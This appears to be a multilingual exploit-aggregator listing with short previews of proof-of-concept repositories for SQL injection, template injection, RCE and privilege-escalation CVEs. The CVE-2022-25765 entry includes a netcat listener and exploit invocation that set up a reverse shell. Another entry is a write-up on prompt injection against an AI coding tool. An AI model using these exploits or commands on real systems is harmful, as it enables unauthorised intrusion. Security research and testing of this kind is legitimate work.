Exploit-Chain-CVE-2025-6018-6019

https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt Questo exploit combina CVE-2025-6018 e CVE-2025-6019 per ottenere un’ escalation di privilegi locale da utente non privilegiato a root su sistemi SUSE/openSUSE vulnerabili. CVE-2025-6018 è una vulnerabilità di iniezione di variabili...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 Erstellen root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day Payload root@kitploit:...

CVE-2024-33911

The School Management 10.3.4 - SQL Injection post-autenticazione Titolo Exploit: The School Management 10.3.4 - SQL Injection post-autenticazione Data: 29 aprile 2024 Autore dell'exploit: Ivan Spiridonov xbz0n Homepage del vendor: https://theschool-management.com Versione: 10.3.4 Testato su: Ubun...

CVE-2025-65950

CVE-2025-65950: WBCE CMS è vulnerabile a SQL injection blind basata sul tempo tramite il parametro groups Panoramica c. Cattura la richiesta POST inviata a /wbce/admin/users/save.php quando viene cliccato il pulsante "Save"...

CVE-2025-69216

CVE-2025-69216: OpenSTAManager presenta una SQL Injection nel template di stampa Scadenzario Panoramica...

CVE-2020-9495

CVE-2020-9495 PoC La CVE-2020-9495 è una vulnerabilità di iniezione LDAP di gravità media in Apache Archiva precedente alla versione 2.2.5. Consente a un attaccante di recuperare qualsiasi valore di attributo LDAP degli utenti presenti sul server LDAP. Dall'avviso ufficiale di Apache Archiva:...

wp2shell

wp2shell Pre-Authentication Remote Code Execution gegen den WordPress-Core. Verkettet CVE-2026-60137 SQLi im Parameter authornotin / authorexclude von WPQuery mit CVE-2026-63030 REST-API-Batch-Routen-Verwechslung für nicht authentifiziertes RCE. Betroffene Versionen...

CVE-2022-22947-exp

CVE-2022-22947-exp Ho riprodotto la vulnerabilità CVE-2022-22947 e ho scritto l'exploit per lo sfruttamento In seguito, basandomi sull'articolo di un esperto, ho scritto l'exploit per l'iniezione di webshell in memoria, solo a scopo di riferimento...

CVE-2021-39379

VULNERABILITÀ DI SQL INJECTION IN OPENSIS 8.0 CVE-2021-39379 Una vulnerabilità di SQL Injection è presente nella versione 8.0 di openSIS quando MySQL MariaDB viene utilizzato come database dell'applicazione. Un attaccante malintenzionato può inviare comandi SQL al database MySQL MariaDB tramite i...

CVE-2025-67644-LangGraph-3.0.1-SQLite-Checkpoint-SQL-Injection

CVE-2025-67644 PoC – Iniezione SQL nel checkpoint SQLite di LangGraph CVE-2025-67644 è una vulnerabilità di SQL Injection CWE-89 nel pacchetto langgraph-checkpoint-sqlite parte dell'ecosistema LangGraph / LangChain. Consente a un attaccante di iniettare SQL arbitrario tramite chiavi di filtro dei...

write-ups

Write-ups RCE in Github Desktop v2.9.4 RCE via gh run download GitHub CLI Claude Code: unsandboxierte Codeausführung durch Prompt-Injection via .git-Worktree-Verwechslung — CVE-2026-55607...

CVE-2024-9326-PoC

CVE-2024-9326 Script di Exploit PoC Questo script PoC è progettato per verificare la presenza di CVE-2024-9326, una vulnerabilità di tipo SQL Injection ad alta criticità in PHPGurukul Online Shopping Portal v2.0. Automatizza il processo di sfruttamento per determinare se l'applicazione web target...

CVE-2022-25765

Exploit CVE-2022-25765 Un piccolo exploit POC per CVE-2022-25765, PDFkit-CMD-Injection Utilizzo 1. Avvia un listener netcat sulla tua macchina attaccante: root@kitploit: nc -lvnp 4444 2. Esegui l'exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Esempi...

cve-2023-27372

solo a scopo educativo!!!!!...

CVE-2019-19609

Exploit Strapi CMS Questo exploit sfrutta due vulnerabilità nel framework Strapi CMS versione 3.0.0-beta-17.4 consentendo l'esecuzione remota di codice RCE non autenticata. Vulnerabilità CVE-2019-18818 Meccanismo debole di recupero password per password dimenticate CVSS : 9.8 - Critico Maggiori...

joomla_exploits

Exploit Joomla Questo repository contiene artefatti di exploit Joomla selezionati e validati contro ambienti Docker Joomla reali. La raccolta è suddivisa in base all'utilità offensiva pratica. real-impact Exploit con impatto di sicurezza diretto: RCE, upload di file che porta a esecuzione di...

CVE-2021-43408

CVE-2021-43408: Plugin Wordpress Duplicate Post versione 1.1.9 - SQL Injection I. Panoramica 1. Cos'è WordPress WordPress è un software CMS Content Management System open source, un sistema di gestione dei contenuti. Invece di utilizzare il linguaggio di markup HTML, WP è scritto nel linguaggio d...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE WhiteHat School 4ª coorte classe 32 - Sangbeom Woo @taka3636 Sommario La vulnerabilità di server-side template injection SSTI in EJS , ad esempio Hello . Internamente, EJS compila la stringa del template in una funzione JavaScript e la esegue per generare l'HTML...

rails-cve-2017-17917

rails-cve-2017-17917 Das Projekt demonstriert die Reproduktion einer SQL-Injection-Schwachstelle im id -Parameter und bietet anschließend Einblicke in die Eindämmung und Behebung dieses Sicherheitsproblems. https://www.cvedetails.com/cve/CVE-2017-17917/?q=CVE-2017-17917 Stack : root@kitploit: Rub...

cve-2025-66398

CVE-2025-66398 — Signal K Server RCE PoC 📜 Beschreibung CVE-2025-66398 ist ein Problem mit dem Signal K Server, bei dem ein nicht authentifizierter Angreifer den Wiederherstellungszustand des Servers über /skServer/validateBackup manipulieren, dann die Konfiguration über /skServer/restore kapern...